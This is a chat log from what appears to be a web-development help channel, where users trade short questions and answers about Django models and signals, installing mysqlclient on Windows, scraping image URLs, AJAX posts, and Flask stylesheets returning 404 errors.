Can anyone give quick help? I keep receiving this error when trying to start up Dash in Spyder OSError: [Errno 49] Can't assign requested address. I've tried finding and killing all ports but the error still comes up

worn mural
#

Is the IP right?

chilly falcon
#

i cant install mysqlclient in windows pc

Collecting mysqlclient
  Downloading mysqlclient-2.0.3.tar.gz (88 kB)
     |β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆ| 88 kB 99 kB/s
Using legacy 'setup.py install' for mysqlclient, since package 'wheel' is not installed.
Installing collected packages: mysqlclient
    Running setup.py install for mysqlclient ... error

it is installing tar.gz file

#

can anyone help its on windows and its downloading tar.gz file i think that extension is for mac and i want mysqlclient in windows for django project

wispy quail
#

"But there are some binary wheels you can install easily." seems you have to install some wheels from the wild

#

Else if you are looking for a win-supported driver, simply use pymysql

chilly falcon
wispy quail
#

no idea

north summit
#

Hey how to scrape a javascript based site

#

or a site which loads data after taking some seconds

opal portal
#
#models.py
class A(models.Model):
    ...
    fk1 = models.ForeginKey(FK1, on_delete=models.CASCADE)
    fk2 = models,ForeignKey(FK2, on_delete=models.CASCADE)
    ...

class User(AbstractBaseUser):
    ...
    fk1 = models.ForeignKey(FK1, on_delete=models.CASCADE)
    ...

class FK1(models.Model):
    ...
    fk2 = models.ForeignKey(FK2, on_delete=models.CASCADE)
    ...

#serializer.py
class ASerializer(serializers.HyperlinkedModelSerializer):
    class Meta:
        model = A
        fields = '__all__'

#views.py
class AViewSet(viewsets.ModelViewSet):
    queryset = A.objects.all()
    serializer_class = ASerializer

I'm using Django. When creating an new instance of model A, how can I get the some value from an instance of FK1 linked to the current logged in user and assign them to the newly created instance of model A ?

native tide
native tide
native tide
opal portal
#

couldnt figure out how to do so, signals seem like an overkill

native tide
#

u need 2 to 3 lines and got what you want

opal portal
#

i tried

@receiver(post_save, Sender=A)
def save_A(sender, instace, created, **kwargs):
  if created:
  A.fk1 =
  ...
#

but i dont know how to access the current logged in user within this signals.py

versed python
#

You're probably doing something wrong if you need to access the user in a signal

opal portal
#

i guess directly access from the view with request.user.fk1.fk2 is better ?

native tide
opal portal
native tide
#

just replace the user with the model u want there.it was an example.

opal portal
#

what i want is when a logged in user create the A, i can get some of this user's value to assign to the new instance A

#

i changed sender to A already but couldnt figure out how to retrieve value from current logged in user or its linked model

native tide
#

mby I'm miss understanding you

opal portal
#

im sorry my bad for stating the problem. contribution is the A in my actual code

#

@receiver(post_save, Sender=A)
def save_A(sender, instace, created, **kwargs):
if created:
A.fk1 =
...

#

i did this but i need to assign a.fk1 = user.fk1

native tide
#

ok i get it now. You want it way easier than I thought

#

u can make that in your views.py like you said by

  A.fk1 = request.user.fk1

bc request.user is always the logged in user or (null or false not sure) if hes not

opal portal
#

yeah thank you

#

also when i have a Profile model linked to user, is it better to use onetoonefield or foreignkey with unique=true ?

native tide
#

sry for getting you on a wrong path but i thought u know the request.user thing

opal portal
#

but it look kinda clumpsy to do request.user.fk1.fk2

#

i know but i thought there is an elegant way to do so xD

native tide
#

I even think that there are almost they same. OneToOneField and Foreignkey with unique=True

opal portal
#

is there any difference if i put the onetoonefield in User model and in Profile model ?

#

beside the backward relation

native tide
#

no but I think for a profile model its good to have a backwards relation

quasi inlet
#

i guess this is web development, i have an html string from an website for example youtube.com and want all image objects or better the src url of those image objects, how to filter those?

native tide
#

in what language and you are trying to get all Images from youtube.com for example? am i understanding that right?

quasi inlet
#

i can get the html code in string format from a website with requests from python, this is what i already have. i wanna know how to filter all image urls and output them / store them in a database

whole sierra
#

Does anyone know how to pass a dict over a template page

e.g.

current page --> dict to template 1 --> dict to template 2

native tide
whole sierra
#

@native tide not what I meant, but I was very unclear and ambiguous. I found the solution, no stress!

native tide
quasi inlet
native tide
native tide
quasi inlet
#

i already tried and ended up with bs4 lib

#

but that did not work

native tide
#

@fair shale most likely the use web sockets bc thats the default way to make a chat between users basically

native tide
native tide
patent solstice
#

can we send here html/css files to see if its correct or not?

#

???

native tide
#

you can ask here to look over it if you think there are some errors

versed python
patent solstice
#

oh ok

#

thanks πŸ˜‰

hallow yacht
#

i give an ajax response to django.
but my results give back the response + 1 none ....

#

if request.method == 'POST': data = request.POST.get("info") print(data)

result:
"{'phone1':{'first_name': 8009,'last_name': 66},'phone3':{'first_name': 6699,'last_name': 66},}" None
when i alert it just before ajax it is ok

#

as a print. it is without none when i test before it pssed

native tide
#

@hallow yacht pls show your html where info is to better understand it

hallow yacht
#

<form method="post" action={% url 'upload_devices' %}> {% csrf_token %} <button type="submit" id ='submit_phones'>{% trans "Importeer geselecteerde toestellen" %}</button> </form>
Ajax:
$.ajax({ type: "POST", url: URL, dataType: 'JSON', data: { info : dict_rows, csrfmiddlewaretoken : '{{ csrf_token }}', }, success : function(data) { alert("Successfully sent the data to Django"); }, error : function(xhr,errmsg,err) { alert("Could not send URL to Django. Error: " + xhr.status + ": " + xhr.responseText); } });

#

the submit button gets all info from datatables and puts it as json. and passes it with

oak sky
#

i have my flask app running on a server, but i want to make a subdomain connect to a surveilance program i am running on a rasspberry bi surveilence.domain.tld.

#

how can i do something like that?

limpid python
#
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <link rel="stylesheet" href="css/bootstrap.min.css">
    <link rel="stylesheet" href="css/main.css">
    <link rel="stylesheet" href="css/now-ui-kit.css">
    <link href="https://fonts.googleapis.com/css?family=Poppins:300,400,600,700,800&display=swap" rel="stylesheet">
    <title>Your bot name</title>
</head>
```This is my code to import the stylesheets (css)
#

but it does not work

#

This is how I set up the files

#
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /css/bootstrap.min.css HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /css/main.css HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /css/now-ui-kit.css HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /js/now-ui-kit.min.js HTTP/1.1" 404 -
127.0.0.1 - - [14/Apr/2021 07:25:19] "GET /js/now-ui-kit.min.js HTTP/1.1" 404 -
```I get this though
native tide
#

try putting <link rel="stylesheeet" href="./css/bootstrap.min.css"> and on the others as well

limpid python
#

ok

#

nope

#

@native tide

native tide
#

@limpid python are you using django?

limpid python
#

No

#

this template

native tide
limpid python
crude glen
# limpid python nope

same error or other ?

have you have the file bootstrap.min.css in the css Folder ?

limpid python
#

yea

limpid python
native tide
limpid python
crude glen
#

Yea

limpid python
#

??

limpid python